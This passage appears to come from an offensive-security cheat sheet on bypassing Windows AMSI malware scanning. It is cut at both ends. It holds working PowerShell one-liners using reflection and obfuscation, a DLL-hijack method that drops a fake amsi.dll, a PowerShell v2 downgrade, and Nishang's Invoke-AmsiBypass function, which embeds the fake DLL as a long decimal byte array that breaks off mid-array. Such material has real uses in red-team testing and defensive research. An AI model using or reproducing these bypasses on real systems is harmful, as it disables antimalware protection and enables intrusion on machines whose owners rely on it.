0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)) | Out-Null; Write-Output "DLL has been reflected"; } [Bypass.AMSI]::Patch(); } MyPatch; Start-Sleep 1; ``` # Using Matt Graebers Reflection method ```ps1 [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` # Using Matt Graebers Reflection method with WMF5 autologging bypass ```ps1 [Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True) ``` ## Using Matt Graebers second Reflection method ```ps1 [Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141) ``` ## Using Cornelis de Plaas DLL hijack method ```ps1 [Byte[]] $temp = $DllBytes -split ' ' Write-Output "Executing the bypass." Write-Verbose "Dropping the fake amsi.dll to disk." [System.IO.File]::WriteAllBytes("$pwd\amsi.dll", $temp) Write-Verbose "Copying powershell.exe to the current working directory." Copy-Item -Path C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Destination $pwd Write-Verbose "Starting powershell.exe from the current working directory." & "$pwd\powershell.exe" ``` ## Using PowerShell version 2 ```ps1 if ($ShowOnly -eq $True) { Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process." } else { Write-Verbose "Checking if .Net version 2.0.50727 is installed." $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version if($versions -match "2.0.50727") { Write-Verbose ".Net version 2.0.50727 found." Write-Output "Executing the bypass." powershell.exe -version 2 } else { Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2." } } ``` ## Nishang all in one ```ps1 function Invoke-AmsiBypass { <# .SYNOPSIS Nishang script which uses publicly known methods to bypass/avoid AMSI. .DESCRIPTION This script implements publicly known methods bypass or avoid AMSI on Windows machines. AMSI is a script malware detection mechanism enabled by default in Windows 10. (https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx) This script implements 6 methods of bypassing AMSI. unload - Method by Matt Graeber. Unloads AMSI from current PowerShell session. unload2 - Another method by Matt Graeber. Unloads AMSI from current PowerShell session. unloadsilent - Another method by Matt Graeber. Unloads AMSI and avoids WMF5 autologging. unloadobfuscated - 'unload' method above obfuscated with Daneil Bohannon's Invoke-Obfuscation - which avoids WMF5 autologging. dllhijack - Method by Cornelis de Plaa. The amsi.dll used in the code is from p0wnedshell (https://github.com/Cn33liz/p0wnedShell) psv2 - If .net 2.0.50727 is available on Windows 10. PowerShell v2 is launched which doesn't support AMSI. The script also provides information on tools which can be used for obfuscation: ISE-Steroids (http://www.powertheshell.com/isesteroidsmanual/download/) Invoke-Obfuscation (https://github.com/danielbohannon/Invoke-Obfuscation) .PARAMETER Method The method to be used for elevation. Defaut one is unloadsilent. .PARAMETER ShowOnly The bypass is not executed. Just shown to the user. .EXAMPLE PS > Invoke-AmsiBypass -Verbose Above command runs the unloadsilent method. .EXAMPLE PS > Invoke-PsUACme -Method unloadobfuscated -Verbose Above command runs the unloadobfuscated method. .LINK http://www.labofapenetrationtester.com/2016/09/amsi.html https://github.com/samratashok/nishang #> [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $False)] [ValidateSet("unload","unloadsilent","unloadobfuscated","unload2","dllhijack","psv2","obfuscation")] [String] $Method = "unloadsilent", [Parameter(Position = 1, Mandatory = $False)] [Switch] $ShowOnly ) $AmsiX86 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 190 171 71 149 250 202 41 198 250 202 41 198 250 202 41 198 243 178 186 198 248 202 41 198 148 145 40 199 249 202 41 198 148 145 42 199 251 202 41 198 148 145 44 199 242 202 41 198 148 145 45 199 241 202 41 198 39 53 226 198 248 202 41 198 250 202 40 198 231 202 41 198 40 145 33 199 251 202 41 198 40 145 214 198 251 202 41 198 40 145 43 199 251 202 41 198 82 105 99 104 250 202 41 198 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 69 0 0 76 1 6 0 144 29 62 87 0 0 0 0 0 0 0 0 224 0 2 33 11 1 14 0 0 14 0 0 0 18 0 0 0 0 0 0 43 19 0 0 0 16 0 0 0 32 0 0 0 0 0 16 0 16 0 0 0 2 0 0 6 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 112 0 0 0 4 0 0 0 0 0 0 2 0 64 1 0 0 16 0 0 16 0 0 0 0 16 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 148 36 0 0 80 0 0 0 0 80 0 0 224 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 96 0 0 44 1 0 0 176 32 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 33 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 124 12 0 0 0 16 0 0 0 14 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97 0 0 220 7 0 0 0 32 0 0 0 8 0 0 0 18 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 100 97 116 97 0 0 0 136 3 0 0 0 48 0 0 0 2 0 0 0 26 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 192 46 103 102 105 100 115 0 0 20 0 0 0 0 64 0 0 0 2 0 0 0 28 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 115 114 99 0 0 0 224 1 0 0 0 80 0 0 0 2 0 0 0 30 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 101 108 111 99 0 0 44 1 0 0 0 96 0 0 0 2 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 51 192 194 12 0 59 13 4 48 0 16 242 117 2 242 195 242 233 96 3 0 0 85 139 236 139 69 12 131 232 0 116 51 131 232 1 116 32 131 232 1 116 17 131 232 1 116 5 51 192 64 235 48 232 245 4 0 0 235 5 232 207 4 0 0 15 182 192 235 31 255 117 16 255 117 8 232 24 0 0 0 89 235 16 131 125 16 0 15 149 192 15 182 192 80 232 23 1 0 0 89 93 194 12 0 106 16 104 24 36 0 16 232 123 9 0 0 106 0 232 35 5 0 0 89 132 192 117 7 51 192 233 224 0 0 0 232 40 4 0 0 136 69 227 179 1 136 93 231 131 101 252 0 131 61 60 51 0 16 0 116 7 106 7 232 203 7 0 0 199 5 60 51 0 16 1 0 0 0 232 74 4 0 0 132 192 116 101 232 206 8 0 0 104 186 25 0 16 232 177 6 0 0 232 93 7 0 0 199 4 36 57 24 0 16 232 160 6 0 0 232 112 7 0 0 199 4 36 128 32 0 16 104 124 32 0 16 232 78 11 0 0 89 89 133 192 117 41 232 237 3 0 0 132 192 116 32 104 120 32 0 16 104 116 32 0 16 232 42 11 0 0 89 89 199 5 60 51 0 16 2 0 0 0 50 219 136 93 231 199 69 252 254 255 255 255 232 68 0 0 0 132 219 15 133 76 255 255 255 232 52 7 0 0 139 240 131 62 0 116 30 86 232 40 5 0 0 89 132 192 116 19 255 117 12 106 2 255 117 8 139 54 139 206 232 136 8 0 0 255 214 255 5 24 48 0 16 51 192 64 232 201 8 0 0 195 138 93 231 255 117 227 232 131 5 0 0 89 195 106 12 104 56 36 0 16 232 105 8 0 0 161 24 48 0 16 133 192 127 4 51 192 235 79 72 163 24 48 0 16 232 22 3 0 0 136 69 228 131 101 252 0 131 61 60 51 0 16 2 116 7 106 7 232 190 6 0 0 232 180 3 0 0 131 37 60 51 0 16 0 199 69 252 254 255 255 255 232 27 0 0 0 106 0 255 117 8 232 65 5 0 0 89 89 51 201 132 192 15 149 193 139 193 232 78 8 0 0 195 232 164 3 0 0 255 117 228 232 6 5 0 0 89 195 106 12 104 88 36 0 16 232 236 7 0 0 131 101 252 0 139 125 12 131 255 1 116 10 131 255 2 116 5 139 93 8 235 49 255 117 16 87 139 93 8 83 232 218 0 0 0 139 240 137 117 228 133 246 15 132 190 0 0 0 255 117 16 87 83 232 216 253 255 255 139 240 137 117 228 133 246 15 132 167 0 0 0 131 255 1 117 7 83 232 198 9 0 0 89 255 117 16 87 83 232 159 253 255 255 139 240 137 117 228 131 255 1 117 43 133 246 117 30 255 117 16 80 83 232 135 253 255 255 255 117 16 86 83 232 147 253 255 255 255 117 16 86 83 232 116 0 0 0 131 255 1 117 4 133 246 116 4 133 255 117 11 83 232 130 9 0 0 89 133 255 116 5 131 255 3 117 72 255 117 16 87 83 232 98 253 255 255 139 240 137 117 228 133 246 116 53 255 117 16 87 83 232 58 0 0 0 139 240 235 36 139 77 236 139 1 81 255 48 104 22 16 0 16 255 117 16 255 117 12 255 117 8 232 86 2 0 0 131 196 24 195 139 101 232 51 246 137 117 228 199 69 252 254 255 255 255 139 198 232 54 7 0 0 195 85 139 236 86 139 53 160 32 0 16 133 246 117 5 51 192 64 235 18 255 117 16 139 206 255 117 12 255 117 8 232 193 6 0 0 255 214 94 93 194 12 0 85 139 236 131 125 12 1 117 5 232 88 4 0 0 255 117 16 255 117 12 255 117 8 232 177 254 255 255 131 196 12 93 194 12 0 85 139 236 106 0 255 21 40 32 0 16 255 117 8 255 21 0 32 0 16 104 9 4 0 192 255 21 4 32 0 16 80 255 21 8 32 0 16 93 195 85 139 236 129 236 36 3 0 0 106 23 232 234 8 0 0 133 192 116 5 106 2 89 205 41 163 32 49 0 16 137 13 28 49 0 16 137 21 24 49 0 16 137 29 20 49 0 16 137 53 16 49 0 16 137 61 12 49 0 16 102 140 21 56 49 0 16 102 140 13 44 49 0 16 102 140 29 8 49 0 16 102 140 5 4 49 0 16 102 140 37 0 49 0 16 102 140 45 252 48 0 16 156 143 5 48 49 0 16 139 69 0 163 36 49 0 16 139 69 4 163 40 49 0 16 141 69 8 163 52 49 0 16 139 133 220 252 255 255 199 5 112 48 0 16 1 0 1 0 161 40 49 0 16 163 44 48 0 16 199 5 32 48 0 16 9 4 0 192 199 5 36 48 0 16 1 0 0 0 199 5 48 48 0 16 1 0 0 0 106 4 88 107 192 0 199 128 52 48 0 16 2 0 0 0 106 4 88 107 192 0 139 13 4 48 0 16 137 76 5 248 106 4 88 193 224 0 139 13 0 48 0 16 137 76 5 248 104 164 32 0 16 232 225 254 255 255 139 229 93 195 85 139 236 139 69 8 86 139 72 60 3 200 15 183 65 20 141 81 24 3 208 15 183 65 6 107 240 40 3 242 59 214 116 25 139 77 12 59 74 12 114 10 139 66 8 3 66 12 59 200 114 12 131 194 40 59 214 117 234 51 192 94 93 195 139 194 235 249 232 85 7 0 0 133 192 117 3 50 192 195 100 161 24 0 0 0 86 190 64 51 0 16 139 80 4 235 4 59 208 116 16 51 192 139 202 240 15 177 14 133 192 117 240 50 192 94 195 176 1 94 195 232 32 7 0 0 133 192 116 7 232 118 5 0 0 235 5 232 77 7 0 0 176 1 195 106 0 232 207 0 0 0 132 192 89 15 149 192 195 232 97 7 0 0 132 192 117 3 50 192 195 232 85 7 0 0 132 192 117 7 232 76 7 0 0 235 237 176 1 195 232 66 7 0 0 232 61 7 0 0 176 1 195 85 139 236 232 203 6 0 0 133 192 117 24 131 125 12 1 117 18 255 117 16 139 77 20 80 255 117 8 232 136 4 0 0 255 85 20 255 117 28 255 117 24 232 219 6 0 0 89 89 93 195 232 155 6 0 0 133 192 116 12 104 68 51 0 16 232 220 6 0 0 89 195 232 240 6 0 0 133 192 15 132 217 6 0 0 195 106 0 232 221 6 0 0 89 233 215 6 0 0 85 139 236 131 125 8 0 117 7 198 5 92 51 0 16 1 232 186 4 0 0 232 189 6 0 0 132 192 117 4 50 192 93 195 232 176 6 0 0 132 192 117 10 106 0 232 165 6 0 0 89 235 233 176 1 93 195 85 139 236 131 236 12 86 139 117 8 133 246 116 5 131 254 1 117 124 232 31 6 0 0 133 192 116 42 133 246 117 38 104 68 51 0 16 232 80 6 0 0 89 133 192 116 4 50 192 235 87 104 80 51 0 16 232 61 6 0 0 247 216 89 26 192 254 192 235 68 161 4 48 0 16 141 117 244 87 131 224 31 191 68 51 0 16 106 32 89 43 200 131 200 255 211 200 51 5 4 48 0 16 137 69 244 137 69 248 137 69 252 165 165 165 191 80 51 0 16 137 69 244 137 69 248 141 117 244 137 69 252 176 1 165 165 165 95 94 139 229 93 195 106 5 232 6 2 0 0 204 106 8 104 120 36 0 16 232 117 3 0 0 131 101 252 0 184 77 90 0 0 102 57 5 0 0 0 16 117 96 161 60 0 0 16 129 184 0 0 0 16 80 69 0 0 117 79 185 11 1 0 0 102 57 136 24 0 0 16 117 65 139 69 8 185 0 0 0 16 43 193 80 81 232 180 253 255 255 89 89 133 192 116 42 247 64 36 0 0 0 128 117 33 199 69 252 254 255 255 255 176 1 235 31 139 69 236 139 0 51 201 129 56 5 0 0 192 15 148 193 139 193 195 139 101 232 199 69 252 254 255 255 255 50 192 232 59 3 0 0 195 85 139 236 232 11 5 0 0 133 192 116 15 128 125 8 0 117 9 51 192 185 64 51 0 16 135 1 93 195 85 139 236 128 61 92 51 0 16 0 116 6 128 125 12 0 117 18 255 117 8 232 67 5 0 0 255 117 8 232 59 5 0 0 89 89 176 1 93 195 85 139 236 161 4 48 0 16 139 200 51 5 68 51 0 16 131 225 31 255 117 8 211 200 131 248 255 117 7 232 1 5 0 0 235 11 104 68 51 0 16 232 233 4 0 0 89 247 216 89 27 192 247 208 35 69 8 93 195 85 139 236 255 117 8 232 186 255 255 255 247 216 89 27 192 247 216 72 93 195 85 139 236 131 236 20 131 101 244 0 131 101 248 0 161 4 48 0 16 86 87 191 78 230 64 187 190 0 0 255 255 59 199 116 13 133 198 116 9 247 208 163 0 48 0 16 235 102 141 69 244 80 255 21 28 32 0 16 139 69 248 51 69 244 137 69 252 255 21 32 32 0 16 49 69 252 255 21 36 32 0 16 49 69 252 141 69 236 80 255 21 16 32 0 16 139 77 240 141 69 252 51 77 236 51 77 252 51 200 59 207 117 7 185 79 230 64 187 235 16 133 206 117 12 139 193 13 17 71 0 0 193 224 16 11 200 137 13 4 48 0 16 247 209 137 13 0 48 0 16 95 94 139 229 93 195 104 96 51 0 16 255 21 24 32 0 16 195 104 96 51 0 16 232 229 3 0 0 89 195 184 104 51 0 16 195 184 112 51 0 16 195 232 239 255 255 255 139 72 4 131 8 4 137 72 4 232 231 255 255 255 139 72 4 131 8 2 137 72 4 195 184 132 51 0 16 195 85 139 236 129 236 36 3 0 0 83 86 106 23 232 234 3 0 0 133 192 116 5 139 77 8 205 41 51 246 141 133 220 252 255 255 104 204 2 0 0 86 80 137 53 120 51 0 16 232 133 3 0 0 131 196 12 137 133 140 253 255 255 137 141 136 253 255 255 137 149 132 253 255 255 137 157 128 253 255 255 137 181 124 253 255 255 137 189 120 253 255 255 102 140 149 164 253 255 255 102 140 141 152 253 255 255 102 140 157 116 253 255 255 102 140 133 112 253 255 255 102 140 165 108 253 255 255 102 140 173 104 253 255 255 156 143 133 156 253 255 255 139 69 4 137 133 148 253 255 255 141 69 4 137 133 160 253 255 255 199 133 220 252 255 255 1 0 1 0 139 64 252 106 80 137 133 144 253 255 255 141 69 168 86 80 232 252 2 0 0 139 69 4 131 196 12 199 69 168 21 0 0 64 199 69 172 1 0 0 0 137 69 180 255 21 20 32 0 16 86 141 88 255 247 219 141 69 168 137 69 248 141 133 220 252 255 255 26 219 137 69 252 254 195 255 21 40 32 0 16 141 69 248 80 255 21 0 32 0 16 133 192 117 13 15 182 195 247 216 27 192 33 5 120 51 0 16 94 91 139 229 93 195 83 86 190 8 36 0 16 187 8 36 0 16 59 243 115 24 87 139 62 133 255 116 9 139 207 232 56 0 0 0 255 215 131 198 4 59 243 114 234 95 94 91 195 83 86 190 16 36 0 16 187 16 36 0 16 59 243 115 24 87 139 62 133 255 116 9 139 207 232 13 0 0 0 255 215 131 198 4 59 243 114 234 95 94 91 195 255 37 112 32 0 16 204 204 204 204 204 104 75 26 0 16 100 255 53 0 0 0 0 139 68 36 16 137 108 36 16 141 108 36 16 43 224 83 86 87 161 4 48 0 16 49 69 252 51 197 80 137 101 232 255 117 248 139 69 252 199 69 252 254 255 255 255 137 69 248 141 69 240 100 163 0 0 0 0 242 195 139 77 240 100 137 13 0 0 0 0 89 95 95 94 91 139 229 93 81 242 195 85 139 236 255 117 20 255 117 16 255 117 12 255 117 8 104 5 16 0 16 104 4 48 0 16 232 203 1 0 0 131 196 24 93 195 85 139 236 131 37 124 51 0 16 0 131 236 44 83 51 219 67 9 29 16 48 0 16 106 10 232 228 1 0 0 133 192 15 132 116 1 0 0 131 101 236 0 51 192 131 13 16 48 0 16 2 51 201 86 87 137 29 124 51 0 16 141 125 212 83 15 162 139 243 91 137 7 137 119 4 137 79 8 137 87 12 139 69 212 139 77 224 137 69 244 129 241 105 110 101 73 139 69 220 53 110 116 101 108 11 200 139 69 216 53 71 101 110 117 11 200 247 217 106 1 88 26 201 106 0 128 193 1 89 83 15 162 139 243 91 137 7 137 119 4 137 79 8 137 87 12 116 67 139 69 212 37 240 63 255 15 61 192 6 1 0 116 35 61 96 6 2 0 116 28 61 112 6 2 0 116 21 61 80 6 3 0 116 14 61 96 6 3 0 116 7 61 112 6 3 0 117 17 139 61 128 51 0 16 131 207 1 137 61 128 51 0 16 235 6 139 61 128 51 0 16 131 125 244 7 139 69 224 137 69 228 139 69 220 137 69 248 137 69 232 124 50 106 7 88 51 201 83 15 162 139 243 91 141 93 212 137 3 137 115 4 137 75 8 137 83 12 139 69 216 169 0 2 0 0 137 69 236 139 69 248 116 9 131 207 2 137 61 128 51 0 16 95 94 169 0 0 16 0 116 109 131 13 16 48 0 16 4 199 5 124 51 0 16 2 0 0 0 169 0 0 0 8 116 85 169 0 0 0 16 116 78 51 201 15 1 208 137 69 240 137 85 244 139 69 240 139 77 244 131 224 6 51 201 131 248 6 117 51 133 201 117 47 161 16 48 0 16 131 200 8 199 5 124 51 0 16 3 0 0 0 246 69 236 32 163 16 48 0 16 116 18 131 200 32 199 5 124 51 0 16 5 0 0 0 163 16 48 0 16 51 192 91 139 229 93 195 51 192 57 5 20 48 0 16 15 149 192 195 195 255 37 52 32 0 16 255 37 60 32 0 16 255 37 56 32 0 16 255 37 48 32 0 16 255 37 64 32 0 16 255 37 104 32 0 16 255 37 100 32 0 16 255 37 96 32 0 16 255 37 92 32 0 16 255 37 88 32 0 16 255 37 84 32 0 16 255 37 80 32 0 16 255 37 76 32 0 16 255 37 72 32 0 16 255 37 12 32 0 16 176 1 195 51 192 195 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198 38 0 0 0 39 0 0 20 39 0 0 40 39 0 0 68 39 0 0 186 39 0 0 164 39 0 0 138 39 0 0 116 39 0 0 94 39 0 0 226 38 0 0 0 0 0 0 184 37 0 0 84 37 0 0 152 37 0 0 118 37 0 0 194 37 0 0 0 0 0 0 154 38 0 0 140 38 0 0 116 38 0 0 88 38 0 0 60 38 0 0 26 38 0 0 8 38 0 0 250 37 0 0 238 37 0 0 0 0 0 0 27 28 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 48 0 16 112 48 0 16 0 0 0 0 0 0 0 0 144 29 62 87 0 0 0 0 2 0 0 0 61 0 0 0 132 33 0 0 132 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 12 0 0 0 20 0 0 0 196 33 0 0 196 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 13 0 0 0 44 2 0 0 216 33 0 0 216 19 0 0 0 0 0 0 144 29 62 87 0 0 0 0 14 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 92 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 4 48 0 16 128 33 0 16 1 0 0 0 112 32 0 16 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 75 26 0 0 82 83 68 83 69 10 117 219 0 114 41 77 133 149 98 78 29 103 122 248 7 0 0 0 67 58 92 68 101 118 101 108 111 112 109 101 110 116 92 65 109 115 105 92 82 101 108 101 97 115 101 92 65 109 115 105 46 112 100 98 0 0 0 0 0 0 0 0 20 0 0 0 20 0 0 0 1 0 0 0 19 0 0 0 71 67 84 76 0 16 0 0 124 12 0 0 46 116 101 120 116 36 109 110 0 0 0 0 0 32 0 0 112 0 0 0 46 105 100 97 116 97 36 53 0 0 0 0 112 32 0 0 4 0 0 0 46 48 48 99 102 103 0 0 116 32 0 0 4 0 0 0 46 67 82 84 36 88 67 65 0 0 0 0 120 32 0 0 4 0 0 0 46 67 82 84 36 88 67 90 0 0 0 0 124 32 0 0 4 0 0 0 46 67 82 84 36 88 73 65 0 0 0 0 128 32 0 0 4 0 0 0 46 67 82 84 36 88 73 90 0 0 0 0 132 32 0 0 4 0 0 0 46 67 82 84 36 88 80 65 0 0 0 0 136 32 0 0 4 0 0 0 46 67 82 84 36 88 80 90 0 0 0 0 140 32 0 0 4 0 0 0 46 67 82 84 36 88 84 65 0 0 0 0 144 32 0 0 4 0 0 0 46 67 82 84 36 88 84 90 0 0 0 0 160 32 0 0 220 0 0 0 46 114 100 97 116 97 0 0 128 33 0 0 4 0 0 0 46 114 100 97 116 97 36 115 120 100 97 116 97 0 0 0 132 33 0 0 128 2 0 0 46 114 100 97 116 97 36 122 122 122 100 98 103 0 0 0 4 36 0 0 4 0 0 0 46 114 116 99 36 73 65 65 0 0 0 0 8 36 0 0 4 0 0 0 46 114 116 99 36 73 90 90 0 0 0 0 12 36 0 0 4 0 0 0 46 114 116 99 36 84 65 65 0 0 0 0 16 36 0 0 4 0 0 0 46 114 116 99 36 84 90 90 0 0 0 0 24 36 0 0 124 0 0 0 46 120 100 97 116 97 36 120 0 0 0 0 148 36 0 0 60 0 0 0 46 105 100 97 116 97 36 50 0 0 0 0 208 36 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0 0 228 36 0 0 112 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 84 37 0 0 136 2 0 0 46 105 100 97 116 97 36 54 0 0 0 0 0 48 0 0 24 0 0 0 46 100 97 116 97 0 0 0 24 48 0 0 112 3 0 0 46 98 115 115 0 0 0 0 0 64 0 0 20 0 0 0 46 103 102 105 100 115 36 121 0 0 0 0 0 80 0 0 88 0 0 0 46 114 115 114 99 36 48 49 0 0 0 0 96 80 0 0 128 1 0 0 46 114 115 114 99 36 48 50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 208 255 255 255 0 0 0 0 254 255 255 255 0 0 0 0 110 17 0 16 0 0 0 0 254 255 255 255 0 0 0 0 212 255 255 255 0 0 0 0 254 255 255 255 0 0 0 0 233 17 0 16 0 0 0 0 254 255 255 255 0 0 0 0 212 255 255 255 0 0 0 0 254 255 255 255 203 18 0 16 234 18 0 16 0 0 0 0 254 255 255 255 0 0 0 0 216 255 255 255 0 0 0 0 254 255 255 255 215 22 0 16 234 22 0 16 20 37 0 0 0 0 0 0 0 0 0 0 220 37 0 0 48 32 0 0 44 37 0 0 0 0 0 0 0 0 0 0 164 38 0 0 72 32 0 0 228 36 0 0 0 0 0 0 0 0 0 0 206 39 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198 38 0 0 0 39 0 0 20 39 0 0 40 39 0 0 68 39 0 0 186 39 0 0 164 39 0 0 138 39 0 0 116 39 0 0 94 39 0 0 226 38 0 0 0 0 0 0 184 37 0 0 84 37 0 0 152 37 0 0 118 37 0 0 194 37 0 0 0 0 0 0 154 38 0 0 140 38 0 0 116 38 0 0 88 38 0 0 60 38 0 0 26 38 0 0 8 38 0 0 250 37 0 0 238 37 0 0 0 0 0 0 40 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 105 110 118 111 107 101 95 116 114 105 103 103 101 114 0 41 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 114 101 116 117 114 110 95 116 114 105 103 103 101 114 0 37 0 95 95 115 116 100 95 116 121 112 101 95 105 110 102 111 95 100 101 115 116 114 111 121 95 108 105 115 116 0 0 72 0 109 101 109 115 101 116 0 0 53 0 95 101 120 99 101 112 116 95 104 97 110 100 108 101 114 52 95 99 111 109 109 111 110 0 86 67 82 85 78 84 73 77 69 49 52 48 46 100 108 108 0 0 56 0 95 105 110 105 116 116 101 114 109 0 57 0 95 105 110 105 116 116 101 114 109 95 101 0 65 0 95 115 101 104 95 102 105 108 116 101 114 95 100 108 108 0 53 0 95 105 110 105 116 105 97 108 105 122 101 95 110 97 114 114 111 119 95 101 110 118 105 114 111 110 109 101 110 116 0 0 54 0 95 105 110 105 116 105 97 108 105 122 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 0 62 0 95 114 101 103 105 115 116 101 114 95 111 110 101 120 105 116 95 102 117 110 99 116 105 111 110 0 36 0 95 101 120 101 99 117 116 101 95 111 110 101 120 105 116 95 116 97 98 108 101 0 31 0 95 99 114 116 95 97 116 101 120 